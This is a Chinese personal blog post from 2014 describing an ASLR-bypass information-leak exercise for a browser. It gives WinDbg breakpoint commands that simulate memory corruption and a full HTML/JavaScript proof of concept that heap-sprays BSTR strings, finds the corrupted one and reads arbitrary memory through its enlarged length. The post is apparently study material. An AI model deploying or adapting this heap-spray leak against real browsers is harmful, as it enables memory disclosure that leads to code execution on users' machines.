注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

信息泄漏测试  

2014-10-21 10:02:41|  分类: 一些练习 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

信息泄漏主要用于绕过ASLR,通过修改BSTR的长度为很大的数,达到可以读取任意地址内容的目的。

如下的测试例子,通过HeapSpray分配大量内容为零的字符串,然后通过漏洞修改指定地址为非零,

通过搜索这个非零内容,找到被修改的字符串,得到他的偏移,这样就可以通过计算得到字符串前缀的地址了。

然后通过漏洞修改这个字符串前缀为很大的数,之后就可以通过这个被修改的字符串达到读写任意地址内容了。

可以用如下调试脚本模拟

* info leak test!
bu msvcrt!sin ".echo =write something=;ed 0c0c0c0c 44;g"
bu msvcrt!cos ".echo =write length=;ed 0c050020 e0000000;g" 这里的地址需要弹出后再修改成正确的!
===============

<!DOCTYPE HTML>
<HTML>
 <HEAD>
  <TITLE> InfoLeak Test </TITLE>
 </HEAD>

 <BODY>
  <SCRIPT LANGUAGE="JavaScript">
  <!--
  var block = "\u0000";

  // [ repeat the block to 512KB ]
  while (block.length < 0x40000){
   block += block;
  }

  // [ Allocate 200 MB ]
  var slide = new Array();
  for (var i = 0; i < 400; i++){
   slide[i] = block.substr(0,block.length);
  }
  // alert("heapspary done");

  var sprayedAddr = 0x0c0c0c0c;
  var i, p, modified, leverageStr, bstrPrefixAddr;

  Math.sin(0); // bu msvcrt!sin ".echo =write something=;ed 0c0c0c0c 44;g"

  for (i = 0; i < slide.length; i++) {
   p = slide[i].search(/[^\u0000]/);
   if (p != -1) {
    modified = i;
    leverageStr = slide[modified];
    bstrPrefixAddr = sprayedAddr - (p)*2 - 4;
    break;
   }
  }
  alert(bstrPrefixAddr.toString(16));

  Math.cos(0); // bu msvcrt!cos ".echo =write length=;ed 0c050020 e0000000;g"

  alert(leverageStr.length.toString(16));
  alert(escape(leverageStr.substr((0x3da81000-bstrPrefixAddr-4)/2, 20)));
  //-->
  </SCRIPT>
 </BODY>
</HTML>

  评论这张
 
阅读(78)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017